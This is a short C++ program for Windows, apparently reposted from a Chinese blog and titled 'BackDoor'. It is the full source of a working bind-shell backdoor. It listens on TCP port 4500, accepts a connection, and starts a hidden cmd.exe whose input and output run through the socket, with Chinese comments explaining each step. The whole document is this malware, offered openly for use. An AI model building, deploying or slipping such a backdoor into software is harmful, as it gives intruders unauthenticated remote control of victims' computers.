// door.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
int cmdshell(SOCKET s)
{
STARTUPINFO si;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
//使cmd的输入输出直接和socket关联
si.hStdInput=si.hStdOutput=si.hStdError=(void*)s;
char cmdline[256];
//得到cmd路径
GetSystemDirectory(cmdline,sizeof(cmdline));
strcat(cmdline,"\\cmd.exe");
PROCESS_INFORMATION ProcessInformation;
int ret;
//建立cmd进程
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
//等待进程结束
WaitForSingleObject(ProcessInformation.hProcess,INFINITE);
CloseHandle(ProcessInformation.hProcess);
return 0;
}
int main(int argc, char* argv[])
{
char wMessage[512] = "\r\n======================== BackDoor by 认真的雪 ========================\r\n";
//初始化socket,并且监听端口
SOCKET sClient;
BYTE minorVer = 2;
BYTE majorVer = 2;
WSADATA wsaData;
WORD sockVersion = MAKEWORD(minorVer, majorVer);
if(WSAStartup(sockVersion, &wsaData) != 0)
return 0;
//设置socket属性
SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if(sListen == INVALID_SOCKET)
{
printf("WSASocket error \n");
return 0;
}
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(4500);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("bind error \n");
return 0;
}
if(listen(sListen, 5) == SOCKET_ERROR)
{
printf("listen error \n");
return 0;
}
//接收连接
sClient =accept(sListen,NULL,NULL);
send(sClient,wMessage,strlen(wMessage),0);
//启动cmdshell
cmdshell(sClient);
return 0;
}
转载于:https://my.oschina.net/u/2349895/blog/474691